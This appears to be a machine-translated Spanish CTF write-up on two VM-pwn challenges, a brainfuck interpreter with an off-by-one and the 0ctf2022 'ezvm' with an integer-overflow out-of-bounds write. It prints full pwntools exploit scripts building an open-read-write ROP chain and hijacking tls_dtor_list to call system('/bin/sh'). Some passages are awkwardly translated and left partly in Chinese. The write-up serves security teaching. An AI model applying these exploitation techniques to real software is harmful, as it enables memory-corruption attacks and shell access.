Serie de introducción de VMPWN-2

Consejos amables:

El artículo es un poco largo y hay muchas imágenes, lea con paciencia.

Experimento 4 VMPWN4

Introducción al tema

Esta pregunta debe considerarse como una variante de la protección de la máquina virtual. Es un programa de tipo intérprete. ¿Qué es un intérprete? Un intérprete es un programa informático que interpreta y ejecuta el código fuente. Un intérprete comprende la sintaxis y la semántica del código fuente y lo convierte en un lenguaje de máquina que una computadora puede ejecutar. A diferencia de un compilador, un intérprete no convierte el código fuente en lenguaje de máquina, sino que ejecuta el código fuente directamente. Es decir, este programa recibe un cierto lenguaje de interpretación y luego lo analiza de acuerdo con ciertas reglas para completar las funciones correspondientes. Sigue siendo una máquina virtual en esencia.

Este programa es un intérprete de brainfuck, y la sintaxis de brainfuck es la siguiente:

0a79aaffc119ca6d3d6ff586f1fbb089.jpeg

La traducción de estas sintaxis a código C se ve así:

d0769fd43b281acee318ecbe6e96d3f2.jpeg

Comprobación de protección de sujetos

Use checksec para verificar qué mecanismos de protección están habilitados por el programa

6fa865b089fb075a489ad7611345f07c.jpeg

Todas las protecciones están activadas Use seccomp-tools para verificar si el programa está en un espacio aislado

321322381db11ed49423edf1c88a58d5.jpeg

Solo se permiten algunas llamadas al sistema como open, openat, read, write y brk, lo que significa que no podemos obtener el shell ejecutando system("/bin/sh") o execve llamadas al sistema.

Análisis de vulnerabilidad

Abra este programa con IDA pro para ver el pseudocódigo

751f19c72a79ddf96c336252171ed780.jpeg 9faf653450ece6cfe25677d0366d2f96.jpeg

Al ver funciones como std::cout y std::string, se puede ver que este programa está escrito en C++ En comparación con los programas en lenguaje C, los programas en C++ son más difíciles de analizar después de la descompilación.

Analizar una sub_1EA2función de onda

2cbb91a972a63055a4848a944b4ee62c.png

Cree una clase de cadena en a1+0x400. Este último sub_1FAAes sub_1F72muy complicado y no puedo entenderlo. Debería ser una función de inicialización.

Luego en la función sub_154B

903d2d7212e49688d02c89d4f40eaca5.jpeg

Aquí está la función de apertura de la caja de arena. Las reglas de la caja de arena que obtuvimos al analizar el programa con seccomp-tools al principio se establecen en esta función, y se colocan varias restricciones en la función de llamada al sistema del programa.

Luego ingrese el código, ingrese 1 byte cada vez, y luego empalme este 1 byte en una cadena, aquí podemos depurar dinámicamente el proceso de entrada, porque la cadena es una clase con otros miembros dentro. Después de que descargamos el punto de interrupción y finaliza el ciclo while, se lee el código. Primero ingresamos 5 '>', la clase de cadena está en rbp-0x40 y verificamos el contenido:

316e796eb3e840b2c6468a5f008a6eba.jpeg

Los primeros 8 bytes son un puntero que apunta a la dirección donde se almacena el código que ingresamos, los segundos 8 bytes son el número de bytes ingresados, y el último es el código que ingresamos, aquí solo ingresamos 5 bytes, existe directamente en la pila. Ingresemos más, más de 0x10 caracteres

97999c353ad5b15233b88c840682546d.png

0a8e3300acb91f4cf1cc9ae28930d16c.png

Los primeros 8 bytes se convierten en la dirección del montón, los datos que ingresamos se almacenan en el montón, los segundos 8 bytes siguen siendo la cantidad de bytes que ingresamos, los terceros 8 bytes 0x1e, deberían ser el espacio disponible restante, 0x13 + 0x1e = 0x31 . En general, si la cantidad de caracteres de entrada es inferior a 0x10, los miembros aproximados de la clase de cadena deben ser los siguientes

struct string
{
    char *data;
    int64_t size;
    char data[0x10];
    ...
}

Si es mayor que 0x10, es como sigue

struct
{
    char *buf;
    int64_t size;
    int64_t capacity;
    char tmp_data[8];
    ...
}

continuar el programa de análisis

f521de6789c351a9174c9422ba468ce9.jpeg

El bucle for en el medio debe atravesar todo el código de entrada, buscando [ y ], es decir, buscando el límite del programa. ¿Por qué está buscando el límite del programa? Puedes ver el efecto después de que Brainfuck es interpretado como lenguaje C. El código envuelto por [] es el código que se ejecutará en el ciclo while. A partir de este bucle for down, es el código de interpretación de brainfuck, que juzgará el valor de cada carácter por turno y realizará las operaciones correspondientes.

Ver primero la >acción correcta

c09df35cdaa167b08f7e715743724dc0.png

Realizará la operación +1 en v19, ¿qué es v19?

be52f9130136033ef430d5b4e746fde1.png

s es una matriz con una longitud de 0x400 pasada al comienzo de la inicialización. Aquí, v19 se asigna como la dirección de la matriz s. Cada vez que se resuelve >, v19 se mueve hacia atrás un byte y luego se juzga v19

fe49ca3bc1e72903082b17cc7fcc56f2.png

Hay un problema en el juicio if, cuando el puntero v19 es mayor que el puntero de cadena, sale, es decir, v19 puede ser igual al puntero de cadena, es decir, v19 puede apuntar al primer byte de cadena, y hay apagado por uno. Como se muestra abajo

ea0070cde068913dfadb49cee092d444.png

v19 puede apuntar a 1 byte del marco de imagen.

Otras operaciones posteriores son las mismas que la sintaxis de brainfuck publicada al principio, y no hay lagunas.

A continuación, comience a explotar la vulnerabilidad.

El primer paso es filtrar primero la dirección libc. El método de fuga consiste en apuntar v19 al primer byte de la cadena, que es el último byte del puntero buf.

c8fca4cf6cd586d7c701bfba35f0344b.png

Aquí 0x7fffffffde68está la dirección de retorno de la función principal, modificamos el último byte del puntero buf a 68, para que buf apunte a la dirección de retorno. Al final del programa, se emitirán los datos de la cadena.

bd9524933807c9580a506759ef868733.png

En este momento, hemos apuntado el buf de cadena a la dirección de retorno, y la dirección de libc_start_main se filtrará al generar. Aquí debemos prestar atención, si queremos que el puntero buf apunte a la pila, los datos que ingresamos no pueden exceder los 0x10 bytes, y ¿cuál es la diferencia entre v19 y cadena?

1183b66a6aeb2fee28a1d041fbc978b2.png

v19 apunta a s, y la distancia entre s y la cadena es 0x400, por lo que necesitamos aumentar v19 en 0x400, pero si ingresamos 0x400>, se volverá a llamar a malloc, por lo que buf se convertirá en una dirección de almacenamiento dinámico. Entonces, aquí debe comprender la sintaxis de brainfuck, usar [] puede lograr un efecto similar a un bucle. Solo +[>+], se necesitan estos 5 caracteres para aumentar continuamente el puntero v19 y detenerse automáticamente cuando v19 apunta al primer byte de la cadena y luego escribir 1 byte de datos en el primer byte de la cadena. La sintaxis para cambiar a c es la siguiente sigue
++*ptr;
while(*ptr)
{
        ptr++;
        ++*ptr;
}

Esto parece ser un bucle sin fin, ¿por qué puede detenerse automáticamente cuando apunta al primer byte de la cadena? Esto se debe a que, después de ejecutar > para hacer que v19 apunte a la cadena, + se ejecutará a continuación para hacer que el puntero buf de la cadena +1 se convierta en lo que se muestra en la siguiente figura:

de5f4079e7be1f8606d3b2c361b12a4b.png

Por lo tanto, originalmente era necesario obtener ], porque el puntero + 1 será obtenido ,, saltando así fuera del bucle. Otro punto es que debido a aslr, la dirección de la pila siempre cambiará, por lo que se necesitan algunos intentos más para filtrar la dirección libc para tener éxito. Después de obtener la dirección libc, puede usarla. Dado que el puntero buf de la cadena apunta a la dirección de retorno en este momento, cuando ingresemos el código nuevamente, escribirá en la dirección de retorno, por lo que podemos construir la cadena rop de orw, escriba directamente la dirección de retorno, y luego la cadena orw se ejecutará cuando finalicemos la función principal. Además, hay algunas cosas a las que prestar atención. Al principio y al final del programa, hay varias funciones que comienzan con

f22d5dd06d8235e6ead5a89973403950.png

fin

34801a5effce6cc9c34a21e3f37a8ed2.png

El del principio debe ser el constructor y el del final debe ser el destructor. En el exploit, apuntamos el buf de la cadena a la dirección de retorno. Si salimos del ciclo while en este momento, se informará un error cuando se ejecute el destructor, por lo que debemos corregir el buf de la cadena después del orw la cadena está dispuesta Haga que apunte a la ubicación correcta.

usar guion

from pwn import *
context.log_level='debug'
global io
libc=ELF('./libc.so.6')

def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{
   
   {print $1}}'".format(io.pid)).readlines()[1], 16)
        gdb.attach(io,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(io,"b *{}".format(hex(addr)))

def pwn():
    payload = '+[>+],'
    io.recvuntil('enter your code:\n')
    
    io.sendline(payload)
    io.recvuntil('running....\n')
    io.send(p8(0xd8))
    io.recvuntil("your code: ")
    libc_base = u64(io.recvuntil('\x7f',timeout=0.5)[-6:].ljust(8,'\x00')) - 231 - libc.sym['__libc_start_main']
    if libc_base>>40!=0x7f:
        raise Exception("leak error!")
    log.success('libc_base => {}'.format(hex(libc_base)))
    pop_rdi_ret=libc_base+0x000000000002155f
    pop_rsi_ret=libc_base+0x0000000000023e6a
    pop_rdx_ret=libc_base+0x0000000000001b96
    open_addr=libc_base+libc.symbols['open']
    read_addr=libc_base+libc.symbols['read']
    write_addr=libc_base+libc.symbols['write']
    log.success('open_addr => {}'.format(hex(open_addr)))
    log.success('read_addr => {}'.format(hex(read_addr)))
    log.success('write_addr => {}'.format(hex(write_addr)))

    flag_str_addr=(libc_base+libc.symbols['__free_hook'])&0xfffffffffffff000

    orw=p64(pop_rdi_ret)+p64(0)+p64(pop_rsi_ret)+p64(flag_str_addr)+p64(pop_rdx_ret)+p64(0x10)+p64(read_addr)
    orw+=p64(pop_rdi_ret)+p64(flag_str_addr)+p64(pop_rsi_ret)+p64(0)+p64(open_addr)
    orw+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(flag_str_addr+0x10)+p64(pop_rdx_ret)+p64(0x100)+p64(read_addr)
    orw+=p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_ret)+p64(flag_str_addr+0x10)+p64(pop_rdx_ret)+p64(0x100)+p64(write_addr)

    io.recvuntil('want to continue?\n')
    io.send('y')
    io.recvuntil('enter your code:\n')

    io.sendline(orw+payload)

    io.recvuntil('running....\n')
    io.send('\xa0')
    io.recvuntil('want to continue?\n')
    io.send('n')
    io.send('./flag')

    io.interactive()

if __name__ == "__main__":
    while True:
        try:
            io=process('./bf')
            pwn()
        except:
            io.close()

Experimento 5 VMPWN5

Introducción al tema

Esta pregunta es un VMPWN muy típico, que recibe el código de bytes, analiza el código de bytes y ejecuta la función correspondiente. Sin embargo, esta pregunta es algo diferente de la vmpwn anterior. Todas las preguntas anteriores tienen lagunas de lectura y escritura fuera de los límites. Sin embargo, esta pregunta solo tiene una laguna de escritura fuera de los límites, que requiere un pensamiento de resolución de problemas más abierto y flexible.

Comprobación de protección de sujetos

5e22fb348ef265c4d1675bdfe9389b38.jpeg

Todas las protecciones están activadas.

Análisis de vulnerabilidad

programa abierto IDA

720792cd09e0da739758a2215ce2a0ff.jpeg

Lea una cadena de caracteres, si la cadena de caracteres no es "adiós", llame a la función sub_228E

ver función sub_228E

022f05afa465727f7f267cb7850c983b.jpeg

Cada variable se renombra primero de acuerdo con la salida de la cadena.

6f7c3e8426c1d94e46634c42c9fa55f4.jpeg

Primero deje que el usuario ingrese code_size, que es la longitud del bytecode; luego deje que el usuario ingrese el conteo de memoria, que es el tamaño de la memoria, y la unidad de memoria es de 8 bytes, y luego use malloc para solicitar un montón bloque con el tamaño de la cuenta de memoria * 8 como memoria. Luego lea el código y finalmente llame a la función sub_1458 para realizar un seguimiento.

17fe27adf53cd18d2adf6b5853766c39.jpeg

Parece ser una función de inicialización, pero no sabemos qué hace. Continúe mirando hacia abajo y siga hasta la función sub_151A.

d32c4fb681fe662f68acafe6b1edec67.jpeg

Aquí está el código de bytes de análisis familiar, cambiemos el nombre de las funciones y variables anteriores

Para facilitar el análisis inverso, primero determinamos la estructura de la máquina virtual.

4b73092da01c92663231076ee6176e01.jpeg

En primer lugar, según la sentencia aquí, suponemos que el índice del registro de propósito general no puede ser mayor que 3, es decir, hay 4 registros de propósito general. Volvamos a la estructura init_vm.

cdabf29530187c6bfc41943a82754505.jpeg

qword_5040 debería ser el puntero de la pc, porque apunta al comienzo del código, ptr apunta al comienzo de la memoria, y un montón de 0x800 sale de malloc más tarde, suponiendo que este qword_5050 debería ser el puntero de la parte superior de la pila rsp, después el cambio de nombre es el siguiente

3cf728232fdb7a712fc7129f8f37de6e.jpeg

Mire hacia atrás en la función exec_vm

6a92230f70dbd40fb84787ea6f71344a.jpeg

qword_5088 es obviamente la cantidad de código que se está ejecutando actualmente. y nos damos cuenta

5ec00711afe361863c7364e1611422a8.jpeg

Los punteros que acabamos de renombrar están ubicados en la misma área, por lo que esta área debería ser la ubicación de la máquina virtual vm.

De acuerdo con el análisis de ahora, cree la siguiente estructura

struct vm
{
  char *code;
  int64_t *memory;
  int64_t *stack;
  int64_t codesize;
  int64_t memcnt;
  int64_t regs[4];
  int64_t rip;
  int64_t rsp;
};

Luego aplíquelo a IDA, en este momento exec_vm se ha vuelto muy claro

7641af9e1221809e61ec29c274172c4c.jpegcec206926d34db8cd3fb49c669ec78c7.jpeg538fab0d3af428f12db7fc0a5db2e943.jpega9a608baa599ecbd98577c87a6b207b9.jpeg

Hay 24 funciones en total, y las funciones correspondientes a cada código de operación son las siguientes:

0:push

1:pop

2:将栈中的两个值相加

3:将栈中的两个值相减

4:将栈中的两个值相乘

5:将栈中的两个值相除

6:将栈中的两个值取模

7:将栈中的两个值左移

8:将栈中的两个值右移

9:将栈中的两个值相与

11:将栈中的两个值相或

12:将栈中的两个值相异或

13:判断栈顶值是否为0

14:jmp

15:条件jmp,如果栈顶有值就jmp,没有就不jmp

16:条件jmp,和15相反

17:判断栈顶的两个值是否相等

18:判断栈顶值是否小于栈顶下的一个值

19:判断栈顶值是否大于栈顶下的一个值

20:将一个立即数存入寄存器中

21:将寄存器中的值存入内存中

22:将内存中的值存入寄存器中

23:打印finish

A continuación, comience a analizar la vulnerabilidad.

Hay un juicio al ingresar mem_cnt al principio, de la siguiente manera

bef14890ba13821028b145a97f9c42bd.jpeg

Aquí, cuando la entrada es similar 0x2000000000000020, mem_cntel tamaño de la memoria de la aplicación posterior es 0x100 porque 0x200000000000000*8excederá el número máximo que se puede representar con 64 bits, lo que resultará en un desbordamiento de enteros y solo se reservará el último 0x20*8.

3d6cfd6965fda8f27148721439334d62.jpeg

Cuando se ejecuta el código de operación, el mem_cnt ingresado al principio todavía se usa para verificar si la memoria está fuera de los límites en el punto de función 0x15, por lo que hay una escritura fuera de los límites y los datos en el registro se pueden escribir en cualquier recuerdo. Sin embargo, la función de lectura de memoria en el punto de función 0x16 pierde el efecto de lectura fuera de los límites debido al procesamiento de v8 >= 8 * vmx.memcnt / 8, por lo que la laguna del título se encuentra en el fuera de los límites. límites escriben del punto de función 0x15.

Sin embargo, dado que no hay una función de lectura fuera de los límites, no podemos leer la información de la dirección libc de la memoria en el registro, y la máquina virtual no tiene una función de salida, por lo que debemos encontrar otra forma.

Cómo generar primero la dirección libc, tenga en cuenta que después del final de exec_vm, se limpiará cada segmento de la máquina virtual

514066454f375c14f0bbeefe6bb593e4.jpeg

Dado que el montón libre se vinculará a un contenedor sin clasificar, la dirección libc se dejará en el montón y luego se reiniciará una máquina virtual, y el segmento de memoria de la nueva máquina virtual contendrá la dirección libc.

3d94dff609c0286f526c47714535a132.jpeg

Cuando el código de operación es mayor que 0x17, se emitirá what???y la dirección libc se puede filtrar de acuerdo con esta inyección ciega de construcción.

Primero empuje la dirección libc a la pila, luego empújela 1<<i(5<=i<=40)也pusha la pila y luego pase la función AND bit a bit de 0x9

04ae61e91bc11ad2dcfe5a4f8ca979bb.jpeg

Verifique si el bit es 1, si es 1, ejecute un código de operación incorrecto, emita what???, si es 0, regrese al principio del código y continúe probando si el siguiente bit es 1, para que pueda obtener el bit libc por dirección de bits.

5a0b8353cc990ae50c51468de3903096.jpeg

Como se muestra en la figura anterior, esta es la dirección libc restante en el área mem, primero mueva la dirección libc a reg[0], como se muestra en la figura siguiente

1be6b4ed205f43a4abcd48c32d64ad1b.jpeg

luego empújalo a la pila

f4534f7fd6325b3597ee592db35a9a6e.jpeg

Luego escribimos 1<<i en reg[1], i comienza desde 5 y termina en 40, porque los últimos 4 bits de la dirección libc son 0, y el comienzo debe ser 0x7f, por lo que solo necesitamos probar desde el 5. al 4to 40 personas son suficientes

f97aca486585776bf8860957521b02a2.jpeg

Como se muestra arriba, 1<<8 se almacena en reg[1] y luego se coloca en la pila

b5f06d67a2f73e97fde5d644f5ed0bc3.jpeg

Bit a bit Y los dos valores

a4c34fe4f2c1ad8a751f6a590f6070ea.jpeg4684b5d38377d4d5a76c7e53e0168d26.jpeg

Almacene el resultado después del AND bit a bit en la parte inferior de la pila, y luego juzgamos que la parte inferior de la pila es 1 o 0, si es 1, generará el final, si es 0, generará ¿qué? , para juzgar si cada bit de datos libc es 1 o 0.

Después de obtener la dirección libc, es hora de pensar en cómo obtener shell.

Después de obtener la dirección libc, agregue cualquier dirección para escribir, y puede llamar a lo que quiera.Aquí, call_tls_dtors se usa para getshell.

¿Qué es call_tls_dtors?

Cuando la función principal sale normalmente, se llamará a la función de salida

void
exit (int status)
{
  __run_exit_handlers (status, &__exit_funcs, true, true);
}
libc_hidden_def (exit)

La función exit llama __run_exit_handlersa la función

__run_exit_handlers (int status, struct exit_function_list **listp,
             bool run_list_atexit, bool run_dtors)
{
  /* First, call the TLS destructors.  */
#ifndef SHARED
  if (&__call_tls_dtors != NULL)
#endif
    if (run_dtors)
      __call_tls_dtors ();

  .....................
  _exit (status);
}

__run_exit_handlersEn la función, comprobará run_dtorsy si es cierto, llamará__call_tls_dtors

Función de salida de depuración dinámica, puede ver run_dtorsel valor

pwndbg> p run_dtors 
$1 = true

Por lo tanto __call_tls_dtors, se ejecutará y luego verá __call_tls_dtorsla función.

void
__call_tls_dtors (void)
{
  while (tls_dtor_list)
    {
      struct dtor_list *cur = tls_dtor_list;
      dtor_func func = cur->func;
#ifdef PTR_DEMANGLE
      PTR_DEMANGLE (func);
#endif

      tls_dtor_list = tls_dtor_list->next;
      func (cur->obj);

      /* Ensure that the MAP dereference happens before
     l_tls_dtor_count decrement.  That way, we protect this access from a
     potential DSO unload in _dl_close_worker, which happens when
     l_tls_dtor_count is 0.  See CONCURRENCY NOTES for more detail.  */
      atomic_fetch_add_release (&cur->map->l_tls_dtor_count, -1);
      free (cur);
    }
}

Si tls_dtor_listexiste, se asignará tls_dtor_lista cury cur es un dtor_listpuntero de estructura, definido de la siguiente manera

struct dtor_list
{
  dtor_func func;
  void *obj;
  struct link_map *map;
  struct dtor_list *next;
};

Luego cur->funcasigne a func, y luego llame PTR_DEMANGLE (func), definido de la siguiente manera

#  define PTR_DEMANGLE(var) asm ("ror $2*" LP_SIZE "+1, %0\n"       \
                     "xor %%fs:%c2, %0"         \
                     : "=r" (var)         \
                     : "0" (var),         \
                       "i" (offsetof (tcbhead_t,       \
                              pointer_guard)))

La compilación pura es la siguiente.

0x7ffff7e21428 <__call_tls_dtors+40>    ror    rax, 0x11
   0x7ffff7e2142c <__call_tls_dtors+44>    xor    rax, qword ptr fs:[0x30]
   0x7ffff7e21435 <__call_tls_dtors+53>    mov    qword ptr fs:[rbx], rdx
   0x7ffff7e21439 <__call_tls_dtors+57>    mov    rdi, qword ptr [rbp + 8]
   0x7ffff7e2143d <__call_tls_dtors+61>    call   rax

en contraste conPTR_MANGLE(var)

#  define PTR_MANGLE(var) asm ("xor %%fs:%c2, %0\n"        \
                     "rol $2*" LP_SIZE "+1, %0"        \
                     : "=r" (var)         \
                     : "0" (var),         \
                       "i" (offsetof (tcbhead_t,       \
                              pointer_guard)))

PTR_MANGLE se puede considerar como un proceso de cifrado, y PTR_DEMANGLE es un proceso de descifrado, que se desplaza cíclicamente a la derecha en 0x11 bits y luego se aplica fs:[0x30]XOR para obtener el valor descifrado.

fs:[0x30]¿qué es? En un programa de 64 bits, la declaración de ensamblado que verifica canary cuando la función se desapila es que xor rcx, qword ptr fs:[0x28]fs también aparece en él. De hecho, fs es una estructura TLS, definida de la siguiente manera

typedef struct
{
  void *tcb;  /* Pointer to the TCB.  Not necessarily the
               thread descriptor used by libpthread.  */
  dtv_t *dtv;
  void *self;  /* Pointer to the thread descriptor.  */
  int multiple_threads;
  uintptr_t sysinfo;
  uintptr_t stack_guard;
  uintptr_t pointer_guard;
  int gscope_flag;
  /* Bit 0: X86_FEATURE_1_IBT.
     Bit 1: X86_FEATURE_1_SHSTK.
   */
  unsigned int feature_1;
  /* Reservation of some values for the TM ABI.  */
  void *__private_tm[3];
  /* GCC split stack support.  */
  void *__private_ss;
  /* The lowest address of shadow stack,  */
  unsigned long ssp_base;
} tcbhead_t;

stack_guard es fs:[0x28], que es canary, y correspondientemente, fs:[0x30] es pointer_guard. ¿Cómo localizar la estructura TLS? Use el siguiente método en pwndbg

pwndbg> canary 
canary : 0xed8519fd5f3d4700
pwndbg> search -p 0xed8519fd5f3d4700
                0x7ffff7fca568 0xed8519fd5f3d4700
pwndbg> x /20xg 0x7ffff7fca568-0x28
0x7ffff7fca540: 0x00007ffff7fca540 0x00007ffff7fcae90
0x7ffff7fca550: 0x00007ffff7fca540 0x0000000000000000

Volviendo a la función, después de descifrar func, se ejecutará

func (cur->obj);

Tanto func como cur->obj pertenecen a la estructura tls_dtor_list, y la fuente de esta estructura es el puntero tls_dtor_list Si podemos controlar este puntero para que apunte a nuestra memoria controlable, podemos secuestrar el programa. Continuamos depurando dinámicamente y verificando el valor de tls_dtor_list

pwndbg> p tls_dtor_list 
Cannot find thread-local storage for process 5047, shared library /usr/lib/freelibs/amd64/2.31-0ubuntu9.2_amd64/libc.so.6:
Cannot find thread-local variables on this target

Pero pwndbg no puede verificar directamente el contenido de tls_dtor_list, y la dirección tampoco puede funcionar, así que sigamos buscándola desde el ensamblado.

Echa un vistazo while (tls_dtor_list)a la compilación, de la siguiente manera

0x7ffff7e2140a <__call_tls_dtors+10>    mov    rbx, qword ptr [rip + 0x1a094f]
 ► 0x7ffff7e21411 <__call_tls_dtors+17>    mov    rbp, qword ptr fs:[rbx]
   0x7ffff7e21415 <__call_tls_dtors+21>    test   rbp, rbp
   0x7ffff7e21418 <__call_tls_dtors+24>    je     __call_tls_dtors+93 <__call_tls_dtors+93>

Asigne fs:[rbx]el valor en rbp y luego verifique si rbp es 0

En este momento, el valor de RBP es

RBX  0xffffffffffffffa8

El formulario de código complementario, convertido a un número negativo es -0x58, es decir, fs:[-0x58]el valor en la dirección se asigna a RBP, por lo que la dirección de tls_dtor_list es fs:[-0x58].

Todo el proceso de utilización consiste en modificar el valor de tls_dtor_list a la dirección de nuestra memoria controlable, generalmente la dirección del montón, y luego de acuerdo con el diseño de la estructura dtor_list

struct dtor_list
{
  dtor_func func;
  void *obj;
  struct link_map *map;
  struct dtor_list *next;
};

Solo necesitamos forjar func en el montón como la dirección del sistema encriptado, y obj es /bin/sh.

De acuerdo con la idea mencionada anteriormente, usamos la escritura fuera de los límites para modificar pointer_guard a 0, luego modificamos el valor de la estructura dtor_list, modificamos func a la dirección del sistema encriptado y modificamos obj a la dirección de binsh, y finalmente cuando lanzamos la máquina virtual Activará system("/bin/sh") para getshell.

usar guion

from pwn import *
context.log_level='debug'
io=process('./ezvm')
libc=ELF('./libc-2.35.so')

io.recvuntil('Welcome to 0ctf2022!!\n')
io.sendline('lock')
io.recvuntil('size:\n')
io.sendline('38')
io.recvuntil('memory count:\n')
io.sendline('256')
code=p8(0x17)+p8(0xff)*36
io.recvuntil('code:\n')
io.sendline(code)
io.recvuntil('continue?\n')
io.sendline('y')

leak=0
for i in range(5,40,1):
    print("leaking bit"+str(i)+':'+str(bin(1<<i)))
    code=p8(0x16)+p8(0)+p64(0) #mov reg[0],mem[0]
    code+=p8(0)+p8(0) #push r0
    code+=p8(0x14)+p8(1)+p64(1<<i) #mov reg[1],1<<i
    code+=p8(0)+p8(1) #push r1
    code+=p8(0x9) #AND
    code+=p8(0x10)+p64(1)
    code+=p8(0x18)+p8(0x17)
    io.recvuntil('size:\n')
    io.sendline(str(len(code)))
    io.recvuntil('memory count:\n')
    io.sendline('256')
    io.recvuntil('code:\n')
    
    io.sendline(code)
    # gdb.attach(io)
    # pause()
    data=io.recvuntil('finish!\n',drop=True)
    if 'what' in data:
        leak|=(1<<i)

leak|=0x7f0000000000
log.success('leak => {}'.format(hex(leak)))
libc_base=leak-0x219ce0
system_addr=libc_base+libc.symbols['system']
binsh_addr=libc_base+libc.search('/bin/sh\x00').next()
tls_dtor_list_addr=libc_base-0x28c0-0x58
log.success('libc_base => {}'.format(hex(libc_base)))
log.success('system_addr => {}'.format(hex(system_addr)))
log.success('binsh_addr => {}'.format(hex(binsh_addr)))

size = 0x2000000000030000
io.recvuntil('size:\n')
io.sendline('100')
io.recvuntil('memory count:\n')
io.sendline(str(size))
code=p8(0x15)+p8(0)+p64(0x302ec) #mov mem[0x302eb],reg[0]
enc=((system_addr^0)>>(64-0x11))|((system_addr^0)<<0x11)
code+=p8(0x14)+p8(1)+p64(enc) #mov reg[1],system_addr
code+=p8(0x14)+p8(2)+p64(binsh_addr) #mov reg[2],binsh_addr
code+=p8(0x14)+p8(3)+p64(libc_base+0x220000) #mov reg[3],libc_base+0x220000
code+=p8(0x15)+p8(3)+p64(0x302db)
code+=p8(0x15)+p8(1)+p64(0x747fe)  
code+=p8(0x15)+p8(2)+p64(0x747ff) 
io.recvuntil('code:\n')
#gdb.attach(io)
io.sendline(code)
io.recvuntil('continue?\n')
io.sendline('bye bye')



io.interactive()

Supongo que te gusta

Origin blog.csdn.net/qq_38154820/article/details/131990155
Recomendado
Clasificación